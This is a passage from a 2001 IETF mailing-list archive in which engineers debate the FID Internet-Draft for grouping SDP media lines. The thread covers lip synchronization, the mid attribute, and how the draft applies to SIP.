But I would like to see the real need first.

Joerg

From confctrl-owner  Mon Jun 18 00:33:16 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id AAA02381
	for confctrl-outgoing; Mon, 18 Jun 2001 00:33:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA02374
	for <confctrl@zephyr.isi.edu>; Mon, 18 Jun 2001 00:33:13 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5I7XDZ05006
	for <confctrl@ISI.EDU>; Mon, 18 Jun 2001 00:33:13 -0700 (PDT)
Received: from ipdialog.com (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f5I7Wr221371;
	Mon, 18 Jun 2001 09:32:53 +0200 (MEST)
Message-ID: <3B2DADE5.CE115EE8@ipdialog.com>
Date: Mon, 18 Jun 2001 09:29:42 +0200
From: Joerg Ott <jo@ipdialog.com>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Orit Levin <orit@radvision.com>
CC: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: Re: FID Draft - again
References: <0D5BBF5D638DD4119E3400508BD949454ED2EB@RADVPOST>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> I guess, I have hesitation from providing examples because I dislike
> standards built upon examples. In addition to that, everybody is looking for
> new exiting applications. Thus, I am not sure that people are willing to
> share them publicly.

I think this is the point I am trying to make: don't build your next gen
application on yet-to-be-added features of SDP.  Seems that it's always
easier to bug fix around some existing stuff (aka SDP) than to come up
with ideas on how to do it from "kind-of-scratch" (aka SDPng).  Sigh...

> Nevertheless, here is a familiar application provided by my colleague:
> During international videoconference a speech in a certain language is being
> translated simultaneously to a number of other languages. One video stream
> (that of the speaker) and all the audio streams are transmitted to the
> participants. Each participant has the ability to choose a single audio in
> his native language to be actually displayed. Lip-synch between video and
> audio makes sense and required for one of the audio streams only. For all
> the rest it is a burden. The question is: which one is the right one?
 
Ok, you have a point here.  For this specific example, SDP seems to give
you all you need (even though it might be easier for your endpoint to always
do lip-sync but that's you choice).  I had thought of other examples where
more semantics than just a=lang: would have been needed.

Gonzalo will submit a draft that generalizes the fid field to allow for
both features and we'll go through the review process again.

Please, folks, let this be the last addition to SDP we have to go through
here.

Joerg

From confctrl-owner  Mon Jun 18 09:44:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA27449
	for confctrl-outgoing; Mon, 18 Jun 2001 09:44:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA27444
	for <confctrl@zephyr.isi.edu>; Mon, 18 Jun 2001 09:44:07 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5IGhwZ24220
	for <confctrl@ISI.EDU>; Mon, 18 Jun 2001 09:43:58 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f5IGhuN18689;
	Mon, 18 Jun 2001 18:43:56 +0200 (MEST)
Received: from lmf.ericsson.se ([142.133.141.63])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id SAA04739;
	Mon, 18 Jun 2001 18:44:24 +0200 (MET DST)
Message-ID: <3B2E3189.32505309@lmf.ericsson.se>
Date: Mon, 18 Jun 2001 19:51:21 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Joerg Ott <jo@ipdialog.com>
CC: Orit Levin <orit@radvision.com>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: New version of FID. WAS (Re: FID Draft - again)
References: <0D5BBF5D638DD4119E3400508BD949454ED2EB@RADVPOST> <3B2DADE5.CE115EE8@ipdialog.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

> Gonzalo will submit a draft that generalizes the fid field to allow for
> both features and we'll go through the review process again.

I have just submitted the new version of the draft to the IETF. It will
appear in the archives soon. In the meantime, you can find it on the URL
below:

http://www.hut.fi/~gonzalo/papers/draft-ietf-mmusic-fid-02.txt

I hope everybody is happy now and we can move on.

Best regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Mon Jun 18 14:24:53 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA17584
	for confctrl-outgoing; Mon, 18 Jun 2001 14:24:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA17579
	for <confctrl@zephyr.isi.edu>; Mon, 18 Jun 2001 14:24:51 -0700 (PDT)
Received: from fridge.docomo-usa.com ([216.98.102.228])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5ILOeZ14500
	for <confctrl@ISI.EDU>; Mon, 18 Jun 2001 14:24:50 -0700 (PDT)
Received: from DOCOMOTARIQ (dhcp108.docomo-usa.com [172.21.96.108])
	by fridge.docomo-usa.com (8.11.3/8.11.3) with SMTP id f5ILXrq27500
	for <confctrl@ISI.EDU>; Mon, 18 Jun 2001 14:33:53 -0700 (PDT)
Message-ID: <002001c0f83d$3af8c7d0$6c6015ac@DOCOMOTARIQ>
From: "Muhammad Mukarram Bin TARIQ" <tariq@dcl.docomo-usa.com>
To: "mmusic mailing list" <confctrl@ISI.EDU>
References: <0D5BBF5D638DD4119E3400508BD949454ED2EB@RADVPOST> <3B2DADE5.CE115EE8@ipdialog.com> <3B2E3189.32505309@lmf.ericsson.se>
Subject: Re: New version of FID. WAS (Re: FID Draft - again)
Date: Mon, 18 Jun 2001 14:25:43 -0700
Organization: DoCoMo USA Labs, Inc
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi All,

I have a question.

1. How is mid attribute functionally different from the i=* (media title)
{ref: RFC-2327 , pp 7} which is already present in the original SDP. Can we
use a list of Media titles instead of "mid" values in the "groupe" attribute
parameters. How would it be semantically different.

Also I have a suggestion (may be not directly related to this draft). FID
draft addresses quite a few issues listed in ID "Sip For Video"
{http://search.ietf.org/internet-drafts/draft-levin-sip-for-video-00.txt}.
I feel that using a media stream identification tag that is not specific to
FID or LS,
will satisfy more issues pointed out in Levin's draft, like: "2.4.1 An
ability to reference a specific media stream", and others such as abiltiy to
alter/change some parameters of the individual media streams in a running
session, with out specifing the parameters that do not change.

Thanks,

Muhammad Mukarram Bin Tariq
------------------------------------------
DoCoMo Communications Laboratories USA, Inc.
181 Metro Dr, Suite 300, San Jose, CA 95110
Tel: 408-451-4739, Fax: +1-408-573-1090
Email: tariq@dcl.docomo-usa.com



----- Original Message -----
From: "Gonzalo Camarillo" <Gonzalo.Camarillo@lmf.ericsson.se>
To: "Joerg Ott" <jo@ipdialog.com>
Cc: "Orit Levin" <orit@radvision.com>; <mmusic@informatik.uni-bremen.de>;
<confctrl@ISI.EDU>
Sent: Monday, June 18, 2001 9:51 AM
Subject: New version of FID. WAS (Re: FID Draft - again)


> Hello,
>
> > Gonzalo will submit a draft that generalizes the fid field to allow for
> > both features and we'll go through the review process again.
>
> I have just submitted the new version of the draft to the IETF. It will
> appear in the archives soon. In the meantime, you can find it on the URL
> below:
>
> http://www.hut.fi/~gonzalo/papers/draft-ietf-mmusic-fid-02.txt
>
> I hope everybody is happy now and we can move on.
>
> Best regards,
>
> Gonzalo
> --
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027
> USA                              Gonzalo.Camarillo@ericsson.com
>





From confctrl-owner  Mon Jun 18 19:25:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA04038
	for confctrl-outgoing; Mon, 18 Jun 2001 19:25:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA04033
	for <confctrl@zephyr.isi.edu>; Mon, 18 Jun 2001 19:25:41 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5J2PfZ17126
	for <confctrl@ISI.EDU>; Mon, 18 Jun 2001 19:25:42 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f5J2PZN24326;
	Tue, 19 Jun 2001 04:25:35 +0200 (MEST)
Received: from lmf.ericsson.se (ewusith.EWC-SAN [142.133.141.80] (may be forged))
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id EAA17485;
	Tue, 19 Jun 2001 04:26:02 +0200 (MET DST)
Message-ID: <3B2EB9DC.5C436217@lmf.ericsson.se>
Date: Tue, 19 Jun 2001 05:33:00 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Muhammad Mukarram Bin TARIQ <tariq@dcl.docomo-usa.com>
CC: mmusic mailing list <confctrl@ISI.EDU>
Subject: Re: New version of FID. WAS (Re: FID Draft - again)
References: <0D5BBF5D638DD4119E3400508BD949454ED2EB@RADVPOST> <3B2DADE5.CE115EE8@ipdialog.com> <3B2E3189.32505309@lmf.ericsson.se> <002001c0f83d$3af8c7d0$6c6015ac@DOCOMOTARIQ>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

Muhammad Mukarram Bin TARIQ wrote:
> 
> Hi All,
> 
> I have a question.
> 
> 1. How is mid attribute functionally different from the i=* (media title)
> {ref: RFC-2327 , pp 7} which is already present in the original SDP. Can we
> use a list of Media titles instead of "mid" values in the "groupe" attribute
> parameters. How would it be semantically different.
> 

As you point out, an i line, when used as a media level attribute
contains the media title. Using the i line was one of the first
proposals in order to group lines. I recall a discussion in the mailing
list around two years ago about this.

However, the i line is basically intended for human use. We did not want
to overload a header with more funcionality. This way, if an
implementation adds a mid line, it is clear that group is supported.

> Also I have a suggestion (may be not directly related to this draft). FID
> draft addresses quite a few issues listed in ID "Sip For Video"
> {http://search.ietf.org/internet-drafts/draft-levin-sip-for-video-00.txt}.
> I feel that using a media stream identification tag that is not specific to
> FID or LS,
> will satisfy more issues pointed out in Levin's draft, like: "2.4.1 An
> ability to reference a specific media stream", and others such as abiltiy to
> alter/change some parameters of the individual media streams in a running
> session, with out specifing the parameters that do not change.


Section 2.4.1 of the draft you point out is actually an example of what
you do not want to do with SIP. As you know, SIP design tries to use as
far as it is possible idempotent requests. That's why the whole SDP is
sent every time you re-INVITE the other party. It is not because SDP did
not provide a means for labeling media streams. It is because it avoids
synchronization problems.

Therefore, with the LS semantics defined in the FID draft we cover the
useful cases of the SIP for video draft.

Thanks for your feedback,

Best regards,

Gonzalo

> 
> Thanks,
> 
> Muhammad Mukarram Bin Tariq
> ------------------------------------------
> DoCoMo Communications Laboratories USA, Inc.
> 181 Metro Dr, Suite 300, San Jose, CA 95110
> Tel: 408-451-4739, Fax: +1-408-573-1090
> Email: tariq@dcl.docomo-usa.com
> 
> ----- Original Message -----
> From: "Gonzalo Camarillo" <Gonzalo.Camarillo@lmf.ericsson.se>
> To: "Joerg Ott" <jo@ipdialog.com>
> Cc: "Orit Levin" <orit@radvision.com>; <mmusic@informatik.uni-bremen.de>;
> <confctrl@ISI.EDU>
> Sent: Monday, June 18, 2001 9:51 AM
> Subject: New version of FID. WAS (Re: FID Draft - again)
> 
> > Hello,
> >
> > > Gonzalo will submit a draft that generalizes the fid field to allow for
> > > both features and we'll go through the review process again.
> >
> > I have just submitted the new version of the draft to the IETF. It will
> > appear in the archives soon. In the meantime, you can find it on the URL
> > below:
> >
> > http://www.hut.fi/~gonzalo/papers/draft-ietf-mmusic-fid-02.txt
> >
> > I hope everybody is happy now and we can move on.
> >
> > Best regards,
> >
> > Gonzalo
> > --
> > Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> > Columbia University                  Mobile:  +358 40 702 35 35
> > 472 Computer Science Building        Fax   :  +358  9 299 30 52
> > 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> > New York, NY 10027
> > USA                              Gonzalo.Camarillo@ericsson.com
> >

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Tue Jun 19 03:46:45 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA25266
	for confctrl-outgoing; Tue, 19 Jun 2001 03:46:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA25256
	for <confctrl@zephyr.isi.edu>; Tue, 19 Jun 2001 03:46:43 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5JAkgZ08608
	for <confctrl@isi.edu>; Tue, 19 Jun 2001 03:46:43 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17194;
	Tue, 19 Jun 2001 06:46:06 -0400 (EDT)
Message-Id: <200106191046.GAA17194@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-fid-02.txt
Date: Tue, 19 Jun 2001 06:46:06 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Grouping of m lines in SDP
	Author(s)	: G. Camarillo, J. Holler, G. Eriksson
	Filename	: draft-ietf-mmusic-fid-02.txt
	Pages		: 8
	Date		: 18-Jun-01
	
This document defines two SDP attributes: 'groupe' and 'mid'. They
allow to group together several 'm' lines for two different
purposes: for lip synchronization and for receiving media from a
single flow (several media streams), encoded in different formats
during a particular session, in different ports and host interfaces.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-fid-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-fid-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010618124719.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-fid-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-fid-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010618124719.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Jun 21 08:17:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA19744
	for confctrl-outgoing; Thu, 21 Jun 2001 08:17:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA19739
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jun 2001 08:17:23 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5LFHO225116
	for <confctrl@ISI.EDU>; Thu, 21 Jun 2001 08:17:25 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA22649;
	Thu, 21 Jun 2001 11:21:07 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <NGQ5LGGB>; Thu, 21 Jun 2001 11:17:02 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C6DB@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Joerg Ott
	 <jo@ipdialog.com>
Cc: Orit Levin <orit@radvision.com>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: RE: New version of FID. WAS (Re: FID Draft - again)
Date: Thu, 21 Jun 2001 11:17:00 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A few comments:

1. Some more information on usage with SIP is needed. Specifically, a few
things need to be added:

  a. how is the response constructed? Does the mid value for a stream need
to be the same as in the INVITE? Does the FID/LS groups need to be the same
in the response as in the INVITE? If I refuse a stream (by stting the port
to zero), do I need to include the mid value? Do I need to include that
stream in any groups?

  b. If the caller doesn't support this stuff, you need to clearly state
that the callee CANNOT insert the mid and FID/LS attributes.

  c. If several streams are alternates (groupe=FID), can you switch between
them mid-call? Or, does the called party have to select one and use that one
for the remainder of the call?

2. In section 4.2, you talk about DTMF in the app components architecture.
Its important to note that app components doesn't depend on FID. In the
cases where a media server needs to receive a DTMF stream for features, this
is a parallel media stream, not an alternate, and so fid is not needed. The
only case its needed is if a media server wants an entire copy of the media
stream, and would like DTMF to go to one port or address, and regular speech
to another.

3. I'm still a bit puzzled about the lip sync. I am still looking for a
concrete example of where a single session has multiple media streams which
are not all lip-synced. Orit provided the following example:

> Nevertheless, here is a familiar application provided by my colleague:
> During international videoconference a speech in a certain 
> language is being
> translated simultaneously to a number of other languages. One 
> video stream
> (that of the speaker) and all the audio streams are transmitted to the
> participants. Each participant has the ability to choose a 
> single audio in
> his native language to be actually displayed. Lip-synch 
> between video and
> audio makes sense and required for one of the audio streams 
> only. For all
> the rest it is a burden. The question is: which one is the right one?

OK, so in this case, the SIP session between each participant and the media
server has a single video stream, and multiple audio streams. Each audio
stream has a different MID, and there is an FID group listing all of those
(which means you should choose ONE of those audio streams). Now, whichever
you end up using, the audio and video stream is lip-synced. I don't see why
an additional parameter is needed.

I don't really feel strongly, and will happily agree to having it in there
if its needed. But, I would like to see an example where it is definitely
needed, and can't be done in some other way. 

Thanks,
Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: Monday, June 18, 2001 12:51 PM
> To: Joerg Ott
> Cc: Orit Levin; mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU
> Subject: New version of FID. WAS (Re: FID Draft - again)
> 
> 
> Hello,
> 
> > Gonzalo will submit a draft that generalizes the fid field 
> to allow for
> > both features and we'll go through the review process again.
> 
> I have just submitted the new version of the draft to the 
> IETF. It will
> appear in the archives soon. In the meantime, you can find it 
> on the URL
> below:
> 
> http://www.hut.fi/~gonzalo/papers/draft-ietf-mmusic-fid-02.txt
> 
> I hope everybody is happy now and we can move on.
> 
> Best regards,
> 
> Gonzalo
> -- 
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027                   
> USA                              Gonzalo.Camarillo@ericsson.com
> 

From confctrl-owner  Thu Jun 21 10:22:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA26537
	for confctrl-outgoing; Thu, 21 Jun 2001 10:22:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA26532
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jun 2001 10:22:13 -0700 (PDT)
Received: from radvpost.us.radvision.com ([38.150.216.6])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5LHMF208794
	for <confctrl@ISI.EDU>; Thu, 21 Jun 2001 10:22:15 -0700 (PDT)
Received: by RADVPOST with Internet Mail Service (5.5.2650.21)
	id <L91FYN5C>; Thu, 21 Jun 2001 12:23:11 -0500
Message-ID: <0D5BBF5D638DD4119E3400508BD949454ED325@RADVPOST>
From: Orit Levin <orit@radvision.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Gonzalo Camarillo'"
	 <Gonzalo.Camarillo@lmf.ericsson.se>,
        Joerg Ott <jo@ipdialog.com>
Cc: Orit Levin <orit@radvision.com>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: RE: New version of FID. WAS (Re: FID Draft - again)
Date: Thu, 21 Jun 2001 12:23:03 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I will have some pure editorial comments on the draft that I hope sending to
the authors later today.
In regards to Jonathan's comments:
1. I fully agree that the description of "how MID attribute may be used
within SIP" should be defined and standardized. It can be done, it would be
a useful thing to have, but it is not a part of SDP. Hence I suggest to
remove the "SIP use" chapter from the draft itself. (BTW I support 1b as a
part of "SIP use" draft). The draft itself should define the standard
meaning of the attributes to the applications, not when and how SDP
descriptors are conveyed using protocols such as SIP.
2. I also see the DTMF case as a separate application which does not fall
into FID category.
3. In the example (which is really just an example) only a single audio
stream (the native language of the speaker) is coupled with the media stream
by using MID. All the rest should not be synchronized.

Orit Levin
Chief Architect
RADVISION Inc.
TEL: +1.201.529.4300 x 230
FAX: +1.201.529.3516

 -----Original Message-----
From: 	Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] 
Sent:	Thursday, June 21, 2001 11:17 AM
To:	'Gonzalo Camarillo'; Joerg Ott
Cc:	Orit Levin; mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU
Subject:	RE: New version of FID. WAS (Re: FID Draft - again)

A few comments:

1. Some more information on usage with SIP is needed. Specifically, a few
things need to be added:

  a. how is the response constructed? Does the mid value for a stream need
to be the same as in the INVITE? Does the FID/LS groups need to be the same
in the response as in the INVITE? If I refuse a stream (by stting the port
to zero), do I need to include the mid value? Do I need to include that
stream in any groups?

  b. If the caller doesn't support this stuff, you need to clearly state
that the callee CANNOT insert the mid and FID/LS attributes.

  c. If several streams are alternates (groupe=FID), can you switch between
them mid-call? Or, does the called party have to select one and use that one
for the remainder of the call?

2. In section 4.2, you talk about DTMF in the app components architecture.
Its important to note that app components doesn't depend on FID. In the
cases where a media server needs to receive a DTMF stream for features, this
is a parallel media stream, not an alternate, and so fid is not needed. The
only case its needed is if a media server wants an entire copy of the media
stream, and would like DTMF to go to one port or address, and regular speech
to another.

3. I'm still a bit puzzled about the lip sync. I am still looking for a
concrete example of where a single session has multiple media streams which
are not all lip-synced. Orit provided the following example:

> Nevertheless, here is a familiar application provided by my colleague:
> During international videoconference a speech in a certain 
> language is being
> translated simultaneously to a number of other languages. One 
> video stream
> (that of the speaker) and all the audio streams are transmitted to the
> participants. Each participant has the ability to choose a 
> single audio in
> his native language to be actually displayed. Lip-synch 
> between video and
> audio makes sense and required for one of the audio streams 
> only. For all
> the rest it is a burden. The question is: which one is the right one?

OK, so in this case, the SIP session between each participant and the media
server has a single video stream, and multiple audio streams. Each audio
stream has a different MID, and there is an FID group listing all of those
(which means you should choose ONE of those audio streams). Now, whichever
you end up using, the audio and video stream is lip-synced. I don't see why
an additional parameter is needed.

I don't really feel strongly, and will happily agree to having it in there
if its needed. But, I would like to see an example where it is definitely
needed, and can't be done in some other way. 

Thanks,
Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: Monday, June 18, 2001 12:51 PM
> To: Joerg Ott
> Cc: Orit Levin; mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU
> Subject: New version of FID. WAS (Re: FID Draft - again)
> 
> 
> Hello,
> 
> > Gonzalo will submit a draft that generalizes the fid field 
> to allow for
> > both features and we'll go through the review process again.
> 
> I have just submitted the new version of the draft to the 
> IETF. It will
> appear in the archives soon. In the meantime, you can find it 
> on the URL
> below:
> 
> http://www.hut.fi/~gonzalo/papers/draft-ietf-mmusic-fid-02.txt
> 
> I hope everybody is happy now and we can move on.
> 
> Best regards,
> 
> Gonzalo
> -- 
> Gonzalo Camarillo                    Phone :   +1 212 939 71 71
> Columbia University                  Mobile:  +358 40 702 35 35
> 472 Computer Science Building        Fax   :  +358  9 299 30 52
> 1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
> New York, NY 10027                   
> USA                              Gonzalo.Camarillo@ericsson.com
> 

From confctrl-owner  Fri Jun 22 14:36:01 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA02187
	for confctrl-outgoing; Fri, 22 Jun 2001 14:36:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA02182
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jun 2001 14:36:00 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5MLa0214298
	for <confctrl@ISI.EDU>; Fri, 22 Jun 2001 14:36:02 -0700 (PDT)
Received: from tzi.uni-bremen.de (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f5MLZS200383;
	Fri, 22 Jun 2001 23:35:34 +0200 (MEST)
Message-ID: <3B33B966.3F7442B8@tzi.uni-bremen.de>
Date: Fri, 22 Jun 2001 23:32:22 +0200
From: Joerg Ott <jo@tzi.uni-bremen.de>
